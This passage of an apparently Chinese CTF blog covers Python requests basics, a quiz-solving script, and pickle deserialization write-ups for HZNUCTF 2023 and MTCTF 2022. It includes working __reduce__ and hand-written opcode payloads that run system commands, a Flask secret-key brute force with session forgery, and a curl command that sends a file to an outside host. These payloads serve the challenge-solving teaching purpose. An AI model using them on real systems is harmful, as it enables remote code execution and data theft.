Gecko) Chrome/120.0.0.0 Safari/537.36", "Cookie": "session_id=abc123; user=test", # 携带Cookie "Accept-Language": "zh-CN,zh;q=0.9" } response_with_headers = requests.get(base_url, params=params, headers=headers) print("\n带请求头的响应状态码:", response_with_headers.status_code) # 4. 处理JSON响应 # 如果服务器返回JSON格式数据,可直接用.json()方法解析 try: json_response = response_with_params.json() # 解析为Python字典/列表 print("\nJSON响应解析结果:", type(json_response)) # 打印数据类型 # 示例:获取JSON中的特定字段 if isinstance(json_response, dict): print("JSON中的'code'字段:", json_response.get("code")) except ValueError: print("\n响应不是有效的JSON格式") # 5. 设置超时时间(防止请求无限等待) try: # 超时时间设为5秒(连接超时+读取超时) response_with_timeout = requests.get(base_url, timeout=5) print("\n超时设置下的响应状态码:", response_with_timeout.status_code) except requests.exceptions.Timeout: print("\n请求超时!")
post的也比较简单
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 import requests # 目标URL(示例,实际使用时替换为你的目标地址) url = "http://example.com/api/submit" # 1. 发送表单数据(application/x-www-form-urlencoded) # 适用于模拟表单提交,数据以键值对形式传递 form_data = { "username": "test_user", "password": "test_pass", "age": 25 } response_form = requests.post(url, data=form_data) print("表单数据响应状态码:", response_form.status_code) print("表单数据响应内容:", response_form.text) # 2. 发送JSON数据(application/json) # 适用于API接口,数据需序列化为JSON格式 json_data = { "name": "张三", "email": "zhangsan@example.com", "hobbies": ["reading", "coding"] } response_json = requests.post(url, json=json_data) # 自动设置Content-Type为application/json print("\nJSON数据响应状态码:", response_json.status_code) print("JSON数据响应内容:", response_json.text) # 3. 发送带请求头(Headers)的POST请求 # 部分接口需要特定的请求头(如User-Agent、Token等) headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", "Authorization": "Bearer your_token_here", # 示例:携带Token认证 "Content-Type": "application/x-www-form-urlencoded" # 手动指定内容类型(可选) } data_with_headers = { "action": "submit", "data": "test_content" } response_with_headers = requests.post(url, data=data_with_headers, headers=headers) print("\n带请求头的响应状态码:", response_with_headers.status_code) print("带请求头的响应内容:", response_with_headers.text) # 4. 发送文件(multipart/form-data) # 适用于上传文件的场景(如图片、文档等) files = { "file": open("example.txt", "rb") # 打开文件并以二进制形式读取 } # 同时可以携带其他表单字段 file_data = { "filename": "example.txt", "description": "测试文件上传" } response_file = requests.post(url, files=files, data=file_data) print("\n文件上传响应状态码:", response_file.status_code) print("文件上传响应内容:", response_file.text)
这里能比较轻松的就知道,用的是一个form的这么一个格式的 还有一个问题就是怎么获取到我们的这个网页的标签的里面的内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 import requests import time # 目标答题网站的URL url = 'http://node1.anna.nssctf.cn:28802/' # 创建会话对象,用于保持会话状态(自动处理Cookie,记录答题进度) res = requests.session() # 循环最多98次(范围1到98) for i in range(1, 99): # 用于存储提取到的数学表达式 math = "" # 发送GET请求到目标URL,获取包含数学题的页面内容 response = res.get(url) # 暂停1秒,避免请求过于频繁被服务器拦截 time.sleep(1) # 提取响应内容(网页HTML文本) resTest = response.text # 遍历网页内容,提取数学表达式(通过字符位置判断:被>和<包裹的字符) for j in range(0, len(resTest)): if resTest[j - 1] == ">" and resTest[j + 1] == "<" and resTest[j]!= "\n": math = math + resTest[j] # 移除表达式中的等号(例如将"1+2="处理为"1+2") math = math.strip('=') # 使用eval函数计算数学表达式的结果 num = eval(math) # 构造POST请求的数据,包含计算得到的答案 myData = { 'ans': num } # 发送POST请求提交答案 response = res.post(url, data=myData) # 打印服务器返回的响应内容(查看答题结果) print(response.text) # 暂停1秒,等待服务器处理 time.sleep(1) # 检查响应中是否包含Flag(假设Flag格式为NSSCTF{...}) if "NSSCTF{" in response.text: print("Flaggggggggg: ", response.text) # 找到Flag后退出程序 exit()
这里参考这个脚本
pickle 额,之前有很多篇文章讲到过这个了。但是会有一些小的问题。 主要是,面对实际的赛题,给你的源码非常复杂的情况下,我还是打不出pickle来编写opcode 感觉主要还是缺少自己慢慢的思考的这么一个过程,这里就细细地来看源码,弄清楚整个过程到底要怎么做一个完整地pickle的题目
[HZNUCTF 2023 preliminary]pickle 1分 反序列化Python/proc 题目描述
无描述 首先一进去发现是只有一些代码,一看知道是py的
1 import base64 import pickle from flask import Flask, request app = Flask(__name__) @app.route('/') def index(): with open('app.py', 'r') as f: return f.read() @app.route('/calc', methods=['GET']) def getFlag(): payload = request.args.get("payload") pickle.loads(base64.b64decode(payload).replace(b'os', b'')) return "ganbadie!" @app.route('/readFile', methods=['GET']) def readFile(): filename = request.args.get('filename').replace("flag", "????") with open(filename, 'r') as f: return f.read() if __name__ == '__main__': app.run(host='0.0.0.0')
给的是一些可以访问的路由什么的,我们先扫描一下目录 发现扫不出来 根目录,/calc,/readFile主要应该还有这两个可以访问的,但是直接在url后面加上这两个肯定是不行的 然后审计一下代码就可以发现,这里直接选择写opcode就可以了 然后我们将上面的代码再整理一下,方便观看一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 代码如下: import base64 import pickle from flask import Flask, request app = Flask(__name__) ''' 这个函数级别的注解指明了当地址是根路径时,就调用下面的函数。 在app.route(’/TestB/’)中,TestB前后有斜杆,则访问时,是否在TestB后面加斜杠,Flask都会重定向到(/TestB/)中,且访问成功, 若在app.route(’/TestA`),TestA后无斜杠,则在访问时,则在访问时,若访问(/TestA/),则会报错,访问(/TestA),则访问成功。 ''' @app.route('/') def index(): with open('app.py', 'r') as f: return f.read() @app.route('/calc', methods=['GET']) def getFlag(): payload = request.args.get("payload") #get输入payload,在/calc目录 pickle.loads(base64.b64decode(payload).replace(b'os', b'')) #反序列化,字符替换,过滤os,但是我们可以发现他只过滤一次,所以我们可以双写绕过!!! return "ganbadie!" @app.route('/readFile', methods=['GET']) def readFile(): #可以把结果重定向到文件中,然后用readFile读。在/readFile目录 filename = request.args.get('filename').replace("flag", "????") #GET提交,把flag换成????,任意文件读取但是防止读取flag。 with open(filename, 'r') as f: return f.read() if __name__ == '__main__': app.run(host='0.0.0.0', port=80)
payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import pickle import base64 class rayi(object): def __reduce__(self): # return eval,("__import__('o'+'s').system('ls / | tee a')",) return eval, ("__import__('o'+'s').system('env | tee a.txt')",) a = rayi() print(pickle.dumps(a)) print(base64.b64encode(pickle.dumps(a)))
这里的os绕过建议采用这种方式,然后就是读env采用上述方法 最后读取flag
1 2 http://node5.anna.nssctf.cn:20807/calc?payload=gASVSQAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIwtX19pbXBvcnRfXygnbycrJ3MnKS5zeXN0ZW0oJ2VudiB8IHRlZSBhLnR4dCcplIWUUpQu http://node5.anna.nssctf.cn:20807/readFile?filename=a.txt
[MTCTF 2022]easypickle 339分 反序列化Cookie伪造Python 题目描述 简单的pickle反序列化 总所周知呀,很多难的要死的题目也和你说,easy,ez,simple这些等等 这道题目给了一个附件我们下载下来
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 import base64 import pickle from flask import Flask, session import os import random app = Flask(__name__) app.config['SECRET_KEY'] = os.urandom(2).hex() @app.route('/') def hello_world(): if not session.get('user'): session['user'] = ''.join(random.choices("admin", k=5)) return 'Hello {}!'.format(session['user']) @app.route('/admin') def admin(): if session.get('user') != "admin": return f"<script>alert('Access Denied');window.location.href='/'</script>" else: try: a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes") if b'R' in a or b'i' in a or b'o' in a or b'b' in a: raise pickle.UnpicklingError("R i o b is forbidden") pickle.loads(base64.b64decode(session.get('ser_data'))) return "ok" except: return "error!" if __name__ == '__main__': app.run(host='0.0.0.0', port=8888)
这个就是附件的内容,我们进行代码审计 这里可以看见两个路由,第一个就是对于你的admin的验证,第二个就是在你是admin的情况下,我们要写代码,然后主要就是对一些常见的关键字进行了过滤 先看代码中的key怎么生成的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 app.config['SECRET_KEY'] = os.urandom(2).hex() 逐步解析: os.urandom(2) 从操作系统的熵源里取出 2 个字节的随机数据(范围是 0x0000 ~ 0xFFFF 之间的任意二进制值)。 这是加密安全级别的随机数,不能被预测。 .hex() 把这 2 个字节转换为 16 进制字符串。 2 个字节 = 16 位,每个字节对应 2 位 16 进制字符,所以会得到 4 个 16 进制字符。 举个例子: os.urandom(2) → b'\xa3\x1f' .hex() → 'a31f' 结果 这个 SECRET_KEY 实际上是一个长度为 4 位的十六进制字符串(取值范围是 "0000" 到 "ffff")
这个我们之前是遇见过的,可以参照我之前的博客 先用脚本生成一个字典,主要是说来配合后面的爆破
1 2 3 4 5 6 7 import os file_path='./key.txt' with open(file_path, 'w') as f: for i in range(1,9999): key = os.urandom(2).hex() f.write("\"{}\"\n".format(key))
前四行没有什么说的,没有的话会在当前路径下创建文件 第五行则是要按照题目的格式生成,第六行就是保证内容格式为
1 2 3 4 "3f7a" "9c2d" "e5b8" ...
假设没有跑出来的话,我们可以将这个9999换为一个更大的数字 项目在https://github.com/Paradoxis/Flask-Unsign 下载 然后安装
1 pip install flask-unsign
然后将脚本得到的key.txt放入Flask-Unsign-master下 最后运行
1 flask-unsign --unsign --cookie "eyJ1c2VyIjoibmRuYW4ifQ.aNSoeQ.4gz91wLoSdGHsRz6NWrtyZMOs2c" --wordlist key.txt
得到
1 2 3 4 5 6 7 D:\ctf\ctf-web\cookie\Flask-Unsign-master>flask-unsign --unsign --cookie "eyJ1c2VyIjoiZGRtaW0ifQ.aNSymQ.aE9bLxnBhmMcJFgJiXgGNro4yrc" --wordlist key.txt [*] Session decodes to: {'user': 'ndnan'} [*] Starting brute-forcer with 8 threads.. [+] Found secret key after 44160 attempts '4f4a' D:\ctf\ctf-web\cookie\Flask-Unsign-master>
然后用到之前学习到的知识要加密一下
1 2 3 4 5 ┌──(root㉿kali)-[~] └─# python3 session3.py encode -s "4f4a" -t "{'user':'admin'}" eyJ1c2VyIjoiYWRtaW4ifQ.aNSzTg.GaZCugyv3Y9NPtlzotNzPysFdcw ┌──(root㉿kali)-[~]
伪造得到了session之后,我们来看看后面的反序列化逻辑 从session中获取ser_data键的值,然后替换掉一些字符,然后过滤R i o b,就没法用pker来生成payload了,这里直接手搓opcode了
1 b'''(cos\nsystem\nS'calc'\nos.'''
然后现在只需要把这个base64编码一下,然后作为ser_data的值,写入session即可。因为没有回显,尝试了反弹shell无果后,选择了curl外带数据,然后直接外带的话,因为换行的原因,只显示第一行,所以说选择把命令执行结果写入文件,然后把文件的内容外带出来
1 2 3 b'''(cos\nsystem\nS'ls>/3.txt'\nos.''' #把ls的结果写入根目录的3.txt b'''(cos\nsystem\nS'curl -T /3.txt http://xxxxxx'\nos.''' #外带/3.txt的内容到服务器上
接下来就是运用了
1 2 import base64 print(base64.b64encode(b'''(cos\nsystem\nS'ls>/3.txt'\nos.'''))
得到:KGNvcwpzeXN0ZW0KUydscz4vMy50eHQnCm9zLg== 另一个得到KGNvcwpzeXN0ZW0KUydjdXJsIC1UIC8zLnR4dCBodHRwOi8vMTAxLjQzLjY2LjY3OjEyMzQ1Jwpvcy4= 语句:
1 2 3 python3 session3.py encode -s "4f4a" -t "{'user':'admin','ser_data':'KGNvcwpzeXN0ZW0KUydscz4vMy50eHQnCm9zLg=='}" python3 session3.py encode -s "4f4a" -t "{'user':'admin','ser_data':'KGNvcwpzeXN0ZW0KUydjdXJsIC1UIC8zLnR4dCBodHRwOi8vMTAxLjQzLjY2LjY3OjEyMzQ1Jwpvcy4='}"
得到的应该是
1 2 3 4 5 6 7 ┌──(root㉿kali)-[~] └─# python3 session3.py encode -s "4f4a" -t "{'user':'admin','ser_data':'KGNvcwpzeXN0ZW0KUydscz4vMy50eHQnCm9zLg=='}" eyJ1c2VyIjoiYWRtaW4iLCJzZXJfZGF0YSI6IktHTnZjd3B6ZVhOMFpXMEtVeWRzY3o0dk15NTBlSFFuQ205ekxnPT0ifQ.aNS0zw.dMGJe4BJQFW2aPb2yX40Ck9DRV0 ┌──(rootpython3 session3.py -s "4f4a" -t "{'user':'admin','ser_data':'KGNvcwpzeXN0ZW0KUydjdXJsIC1UIC8zLnR4dCBodHRwOi8vMTAxLjQzLjY2LjY3OjEyMzQ1Jwpvcy4='}" eyJ1c2VyIjoiYWRtaW4iLCJzZXJfZGF0YSI6IktHTnZjd3B6ZVhOMFpXMEtVeWRqZFhKc0lDMVVJQzh6TG5SNGRDQm9kSFJ3T2k4dk1UQXhMalF6TGpZMkxqWTNPakV5TXpRMUp3cHZjeTQ9In0.aNS1Kw.W5BIrWVEHHDaDti-TijIBOWFbWo
但是我不知道什么原因,反正我的就是不出网,连接不上 参考博客:https://cloud.tencent.com/developer/article/2134975 andhttps://blog.csdn.net/weixin_52091458/article/details/127448151?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522bf3aab8712564d7e8823c626db6cce75%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=bf3aab8712564d7e8823c626db6cce75&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~top_positive~default-1-127448151-null-null.142^v102^pc_search_result_base4&utm_term=%5BMTCTF%202022%5Deasypickle&spm=1018.2226.3001.4187